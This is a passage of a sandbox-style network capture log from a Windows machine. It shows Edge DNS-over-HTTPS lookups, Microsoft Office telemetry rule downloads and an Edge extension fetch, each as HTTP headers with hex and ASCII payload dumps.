2024-11-20 13:43:38 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-20 13:43:38 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49837	162.159.61.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58debefbaf0f59-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49838	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58debf08967cae-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49835	172.64.41.3	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 13:43:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 13:43:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 13:43:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e58debf0b897c90-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 13:43:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:38 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134338Z-185f5d8b95cgrrn8hC1NYCgwh40000000a6g000000008ek5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:38 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134338Z-185f5d8b95ctl8xlhC1NYCn94g0000000aag00000000k8z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:38 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134339Z-185f5d8b95c95vpshC1NYC759c0000000a8000000000hqz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134339Z-185f5d8b95crwqd8hC1NYCps680000000a9000000000dzr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134339Z-185f5d8b95crl6swhC1NYC3ueg0000000ahg000000000m26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49859	152.195.19.97	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:40 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732715013&P2=404&P3=2&P4=ZHy3W8rERqok8aVmnv6LIsiRwN%2fxg%2fzFv0BIjfCsV0wseeXyZdXNrThaADhEsaerZ2BHX%2biu4sUHyaPmrZxs3g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: jIC3D6InQ3htjQcoxJQjoJ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:40 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12036751 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 20 Nov 2024 13:43:40 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-20 13:43:40 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134340Z-185f5d8b95cx9g8lhC1NYCtgvc00000002p000000000ekau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
